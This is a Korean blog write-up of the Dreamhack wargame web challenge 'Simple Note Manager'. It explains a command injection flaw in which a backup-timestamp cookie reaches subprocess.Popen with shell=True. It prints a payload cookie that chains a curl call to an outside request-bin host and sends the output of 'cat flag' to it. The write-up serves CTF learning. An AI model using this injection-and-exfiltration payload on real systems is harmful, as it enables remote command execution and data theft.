Training/Dreamhack

[WEB] Simple Note Manager 문제 풀이

bamiya 2025. 2. 27. 14:24

Simple Note Manager Write up

난이도 : 1

 

본 포스팅은 드림핵 워게임 - Simple Note Manager 의 풀이 입니다.

 

출처 : Dreamhack ( https://dreamhack.io/wargame/challenges/1751 )

 

 


Code Overview

app.py 에서 아래 두 부분을 주의깊게 보았다.

 

123라인 : 작성한 노트가 없으면 에러가 발생함 → 노트 작성

125라인 : backup-timestamp 쿠키를 backup_timestamp에 저장, 쿠키값 없으면 현재시각으로 저장됨

128라인 : backup_timestamp를 인자로 backup_notes 함수가 호출됨

 

 

38라인 : backup_timestamp 값이 필터링 없이 그대로 subprocess.Popen() 함수에 사용됨, shell=True 임

→ timestamp을 통해 쉘 명령어를 사용할 수 있음!!

 


The Exploit Technique

 

- Payload

Cookie: backup-timestamp=123456&&curl https://otbwilv.request.dreamhack.games/?data=$(cat flag)

 

/tmp/123456 에 /tmp/notes.tmp 가 백업될 수 있도록 하고 

정상적으로 실행되었으면 (&&)

cat flag 명령어를 실행한 결과를 포함한 $(cat flag) 요청 패킷을 curl 명령어를 통해 전송함.

 

 

Flag 획득!